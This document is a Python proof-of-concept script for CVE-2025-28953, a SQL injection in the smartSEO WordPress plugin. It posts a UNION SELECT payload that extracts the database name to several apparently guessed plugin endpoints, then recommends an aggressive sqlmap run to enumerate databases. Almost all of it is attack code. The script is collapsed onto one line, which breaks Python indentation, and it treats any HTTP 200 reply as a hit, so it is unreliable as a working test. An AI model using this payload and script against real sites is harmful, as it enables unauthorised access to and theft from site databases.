CVE-2025-28953

import requests import sys # CVE-2025-28953 SQL Injection PoC for smartSEO WordPress Plugin # Target: axiomthemes smartSEO Plugin <= 4.0 TARGET_URL = input("Enter target URL (e.g., http://example.com): ") # SQL Injection payload - extracts database name PAYLOAD = "' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -" def test_sqli(): """Test for SQL injection vulnerability in smartSEO plugin""" # Common vulnerable endpoints for smartSEO plugin endpoints = [ "/wp-admin/admin-ajax.php", "/wp-content/plugins/smart-seo/includes/ajax-handler.php", "/?rest_route=/smart-seo/v1/settings" ] print(f"[*] Testing CVE-2025-28953 on {TARGET_URL}") print(f"[*] Target: axiomthemes smartSEO Plugin <= 4.0") print(f"[*] Vulnerability: SQL Injection") for endpoint in endpoints: url = TARGET_URL.rstrip('/') + endpoint print(f"\n[*] Testing endpoint: {endpoint}") # Example POST request with malicious payload data = { 'action': 'smart_seo_save_settings', 'seo_data': PAYLOAD } try: response = requests.post(url, data=data, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Endpoint responded - Further testing needed") print(f"[+] Response length: {len(response.text)} chars") except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\n[!] Manual verification recommended") print("[!] Use sqlmap for comprehensive testing:") print(f"[!] sqlmap -r request.txt --level=5 --risk=3 --dbs") if __name__ == "__main__": test_sqli()

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